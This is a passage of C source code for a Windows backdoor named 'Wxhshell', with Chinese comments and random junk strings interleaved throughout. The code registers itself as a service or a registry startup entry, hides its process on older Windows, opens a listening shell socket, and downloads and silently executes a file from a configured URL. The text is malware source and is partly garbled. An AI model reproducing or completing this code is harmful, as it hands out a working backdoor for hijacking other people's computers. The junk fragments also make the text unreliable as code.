CloseHandle(hProcess); 6-<>P E2 36U
zfBa if(strstr(procName,"services")) return 1; // 以服务启动 ?R}a,k gjVKk return 0; // 注册表启动 ESl</"<J } $NtbI:e{ _ *O^|QbM // 主模块 +5+?)8Ls int StartWxhshell(LPSTR lpCmdLine) n^AQ!wC { 2& l~8, SOCKET wsl; eD4o8[s BOOL val=TRUE; M1/Rba Q int port=0; q-fxs8+m| struct sockaddr_in door; (
o_lH2 !5P\5WF~Y if(wscfg.ws_autoins) Install(); _JjR=
m O:Fnxp5@ port=atoi(lpCmdLine); _8CE|<Cn m*MfGj( if(port<=0) port=wscfg.ws_port; #X(KW&;m .;0?r9 WSADATA data; IE-c^'W=}m if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I(*4N^9++ O!D0hW4 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $i+
1a0%n setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;r_YEPlZ door.sin_family = AF_INET; 2R!1Vl door.sin_addr.s_addr = inet_addr("127.0.0.1");
RTW4r9~' door.sin_port = htons(port); :!h1S`wS ^Z{W1uYi if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <I{)p;u1 closesocket(wsl); aD1G\*AFJ return 1; M@V.?;F}, } x05yU H)),~<s if(listen(wsl,2) == INVALID_SOCKET) { m\88Etl@ closesocket(wsl); o#-K,|- return 1; /^kZ}}9baU } .'q0*Pe Wxhshell(wsl); J<<0U; WSACleanup(); <=
xmJx-V +|N!(H return 0; ,[lS)`G ix<sorR H } k#I4^ hDp
-,ag{ // 以NT服务方式启动 JwNG`MGc VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K>2mm!{ { yE(> R(^ DWORD status = 0; a+TlZE>8 DWORD specificError = 0xfffffff; pFLR!/J 9~^%v zM serviceStatus.dwServiceType = SERVICE_WIN32; n y7G serviceStatus.dwCurrentState = SERVICE_START_PENDING; $W46!U3 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wr/Z)e =^3 serviceStatus.dwWin32ExitCode = 0; ][|)qQ%V serviceStatus.dwServiceSpecificExitCode = 0; 06 kjJ4 serviceStatus.dwCheckPoint = 0; `[<j5(T serviceStatus.dwWaitHint = 0; G] -$fz .`OyC' hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d3fF|Wp1 if (hServiceStatusHandle==0) return; S(^*DV ]OE{qXr{ status = GetLastError(); dsKEWZ
= if (status!=NO_ERROR) 3McBTa! { \>8"r,hG| serviceStatus.dwCurrentState = SERVICE_STOPPED; +1Ha,Ok serviceStatus.dwCheckPoint = 0; li4rK<O serviceStatus.dwWaitHint = 0; Ng?n}$g* serviceStatus.dwWin32ExitCode = status; f -N: serviceStatus.dwServiceSpecificExitCode = specificError; 2t3'"8xJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); em return; &wbe^Wp } AR i_m fA!uSqR$V
serviceStatus.dwCurrentState = SERVICE_RUNNING; jlV~-}QKb7 serviceStatus.dwCheckPoint = 0; h2 2-vX serviceStatus.dwWaitHint = 0; 0f).F if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $= '_$wG
8 } KJ]:0'T \Gh]$sp // 处理NT服务事件,比如:启动、停止 ;?>xuC$ VOID WINAPI NTServiceHandler(DWORD fdwControl) #2thg{5 { Vx5ioA]{ switch(fdwControl) _cqBp7 { c7mIwMhl~ case SERVICE_CONTROL_STOP: X'4g\)* serviceStatus.dwWin32ExitCode = 0; / c1=`OJ serviceStatus.dwCurrentState = SERVICE_STOPPED; Fi+v:L| serviceStatus.dwCheckPoint = 0; bq/*99`` serviceStatus.dwWaitHint = 0; *]Nd
I { 7]t$t3I` SetServiceStatus(hServiceStatusHandle, &serviceStatus); x |
= } NPws^ return; };[~>Mzl case SERVICE_CONTROL_PAUSE: | I_,;c serviceStatus.dwCurrentState = SERVICE_PAUSED; <KF|QE break; (|_1ku3! case SERVICE_CONTROL_CONTINUE: #?)g? u%g= serviceStatus.dwCurrentState = SERVICE_RUNNING; &>UI { break; Y/1KvF4)k case SERVICE_CONTROL_INTERROGATE: sW[8f
Z71 break; \IL/?J
5d }; -4|\,=j SetServiceStatus(hServiceStatusHandle, &serviceStatus); nPp\IE}: } ^EGe%Fq*x] P9~7GFas| // 标准应用程序主函数 QMoh<[3qu
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bce>DLF { $;1#gq% [:-Ltfr // 获取操作系统版本 pp$WM\r OsIsNt=GetOsVer(); {VBx;A3*I GetModuleFileName(NULL,ExeFile,MAX_PATH); 3okh'P%+ bmT_tNz // 从命令行安装 V @A+d[ if(strpbrk(lpCmdLine,"iI")) Install(); nUi
4!|r 5[.Dlpa'7 // 下载执行文件 F-?K]t# if(wscfg.ws_downexe) { iUl5yq if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .4c* _$ WinExec(wscfg.ws_filenam,SW_HIDE); YPQ&hEu0 } tMxa:h;/x vT)(#0>z if(!OsIsNt) { R=g~od[N_ // 如果时win9x,隐藏进程并且设置为注册表启动 7iCH$} HideProc(); ~Zbr7zVn StartWxhshell(lpCmdLine); !|hxr#q=4 } t\J5np else QiB^U^f if(StartFromService()) q:4 51 C // 以服务方式启动 x8i;uH\8 StartServiceCtrlDispatcher(DispatchTable); iaAVGgA9+ else SoZ$1$o2 // 普通方式启动 Mg?^ 5`* StartWxhshell(lpCmdLine); h2g|D(u) ">vxYi return 0; $]IX11.m }
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